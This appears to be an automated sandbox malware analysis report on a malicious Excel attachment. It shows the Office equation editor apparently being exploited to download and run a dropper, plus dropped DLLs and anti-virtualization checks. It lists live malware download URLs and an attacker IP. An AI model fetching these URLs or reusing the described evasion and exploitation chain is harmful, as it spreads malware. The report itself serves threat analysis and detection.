Source: C:\Users\Public\vbc.exe Code function: 4_2_734F1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_734F1BFF
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\AsSQLHelper.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\wxbase30u_xml_gcc_custom.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.svchost[1].exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\AEGISIIINVHelper.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nsf2EB0.tmp\System.dll Jump to dropped file
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570435 LoadLibraryW,URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03570435
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 0000000003A50A78 second address: 0000000003A50A78 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FB704D0F74Ah 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2532 Thread sleep time: -240000s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\Public\vbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AsSQLHelper.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wxbase30u_xml_gcc_custom.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\AEGISIIINVHelper.dll Jump to dropped file
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406850 FindFirstFileW,FindClose, 4_2_00406850
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C26 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405C26
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: EQNEDT32.EXE, 00000002.00000002.957995043.0000000000602000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ??\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}H
Source: vbc.exe, 00000004.00000002.1159159152.00000000009C4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_734F1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 4_2_734F1BFF
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03570540 mov edx, dword ptr fs:[00000030h] 2_2_03570540
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040350A EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_0040350A
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 624947 Sample: TransportLabel_6170453602.xlsx Startdate: 12/05/2022 Architecture: WINDOWS Score: 100 33 Found malware configuration 2->33 35 Antivirus detection for URL or domain 2->35 37 Multi AV Scanner detection for dropped file 2->37 39 10 other signatures 2->39 6 EQNEDT32.EXE 12 2->6         started        11 EXCEL.EXE 33 27 2->11         started        process3 dnsIp4 31 103.149.13.182, 49173, 80 VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN unknown 6->31 17 C:\Users\user\AppData\...\.svchost[1].exe, PE32 6->17 dropped 19 C:\Users\Public\vbc.exe, PE32 6->19 dropped 41 Office equation editor establishes network connection 6->41 43 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->43 13 vbc.exe 24 6->13         started        21 C:\Users\...\~$TransportLabel_6170453602.xlsx, data 11->21 dropped file5 signatures6 process7 file8 23 C:\Users\...\wxbase30u_xml_gcc_custom.dll, PE32+ 13->23 dropped 25 C:\Users\user\AppData\Local\...\System.dll, PE32 13->25 dropped 27 C:\Users\user\AppData\...\AsSQLHelper.dll, PE32+ 13->27 dropped 29 C:\Users\user\...\AEGISIIINVHelper.dll, PE32+ 13->29 dropped 45 Tries to detect virtualization through RDTSC time measurements 13->45 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.149.13.182
 unknown unknown
135905 VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://barsam.com.au/bin_QuCucbUMda229.bin true
  • Avira URL Cloud: safe
 unknown
http://103.149.13.182/msdrive10/.svchost.exe true
  • Avira URL Cloud: malware
 unknown